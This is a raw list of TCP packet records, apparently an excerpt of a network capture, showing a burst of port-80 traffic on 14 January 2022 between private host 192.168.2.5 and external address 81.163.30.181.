Jan 14, 2022 21:06:06.958832979 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958856106 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958863020 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958878994 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958900928 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958923101 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958930969 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958945990 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958957911 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958969116 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958992004 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959006071 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959017038 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959039927 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959048033 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959063053 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959085941 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959094048 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959109068 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959131002 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959141970 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959153891 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959176064 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959183931 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959198952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959220886 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959228992 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959244013 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959266901 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959275007 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959290028 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959314108 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959321022 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959337950 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959362030 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959376097 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959386110 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959409952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959422112 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959431887 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959453106 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959470987 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959475994 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959498882 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959508896 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959520102 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959541082 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959557056 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959562063 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959584951 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959595919 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959605932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959628105 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959636927 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959650993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959671974 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959681034 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959695101 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959716082 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959726095 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959739923 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959762096 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959773064 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959783077 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959804058 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959811926 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959825993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959846973 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959856033 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959867954 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959888935 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959901094 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959911108 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959933043 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959939957 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959954023 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959975004 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.959988117 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.959996939 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960017920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960026979 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960038900 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960059881 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960072041 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960082054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960103989 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960112095 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960124969 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960149050 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960160017 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960170984 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960192919 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960200071 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960213900 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960236073 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960243940 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960258007 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960279942 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960299969 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960308075 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960323095 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960339069 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960345030 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960366011 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960386992 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960401058 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960407019 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960418940 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960429907 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960452080 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960458994 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960473061 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960494995 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960500956 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960516930 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960536957 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960546017 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960557938 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960578918 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960596085 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960599899 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960623026 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960628986 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960643053 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960664034 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960671902 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960685968 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960692883 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960706949 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960721016 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960728884 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960736990 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960751057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960757017 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960774899 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960778952 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960793018 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960798025 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960819960 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.960823059 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960839987 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.960856915 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963255882 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963283062 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963298082 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963305950 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963326931 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963330030 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963340044 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963354111 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963361025 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963376999 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963395119 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963402033 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963424921 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963445902 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963448048 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963449955 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963459969 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963471889 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963480949 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963495970 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963520050 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963522911 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963540077 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963557959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963579893 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963584900 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963608980 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963609934 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963627100 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963634014 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963643074 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963656902 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963680029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963687897 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963704109 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963725090 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963728905 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963752031 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963752985 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963773012 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963777065 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963788033 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963802099 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963809967 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963825941 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963834047 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963848114 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963859081 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963871002 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963877916 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963893890 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963902950 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963917017 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963923931 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963939905 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963958025 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.963963032 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963985920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.963987112 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964004993 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964008093 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964027882 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964030981 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964049101 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964054108 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964070082 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964080095 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964086056 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964102983 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964111090 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964133978 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964133978 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964159012 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964180946 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964189053 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964202881 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964216948 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964225054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964243889 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964248896 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964265108 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964272976 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964282036 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964294910 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964303017 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964318991 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964328051 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964342117 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964344978 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964364052 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964384079 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964387894 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964410067 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964411020 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964426994 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964432955 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964446068 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964454889 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964463949 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964477062 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964484930 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964500904 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964518070 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964521885 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964541912 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964545012 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964561939 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964567900 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964576960 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964591026 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964596033 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964615107 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964633942 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964636087 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964657068 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964658976 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964675903 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964680910 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964694977 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964704990 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964715004 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964726925 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964730978 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964750051 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964767933 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964778900 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964795113 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964801073 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964813948 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964823961 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964835882 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964845896 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964849949 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964869022 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964879990 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964891911 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964900970 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964914083 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964916945 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964936018 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964945078 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964958906 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964962959 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.964981079 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.964991093 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965006113 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965013027 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965027094 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965038061 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965049028 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965054989 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965071917 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965085983 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965094090 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965100050 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965117931 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965136051 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965138912 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965163946 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965166092 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965181112 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965189934 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965198994 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965213060 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965217113 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965236902 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965245008 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965260983 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965267897 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965284109 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965291977 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965306997 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965317965 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965331078 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965334892 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965356112 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965363979 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965379953 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965387106 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965400934 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965413094 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965424061 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965430021 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965445042 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965449095 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965466976 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965476036 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965492010 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965501070 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965514898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965528965 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965538025 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965545893 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965563059 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965573072 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965585947 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.965590000 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.965607882 CET	80	49908	81.163.30.181	192.168.2.5
